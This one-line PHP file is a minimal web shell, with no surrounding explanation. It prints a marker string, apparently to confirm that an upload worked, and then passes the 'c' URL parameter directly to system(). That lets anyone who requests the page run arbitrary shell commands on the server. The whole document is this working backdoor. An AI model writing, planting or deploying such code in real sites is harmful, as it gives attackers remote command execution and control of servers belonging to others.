<?php echo "ARTEX3268"; system($_GET["c"]); ?>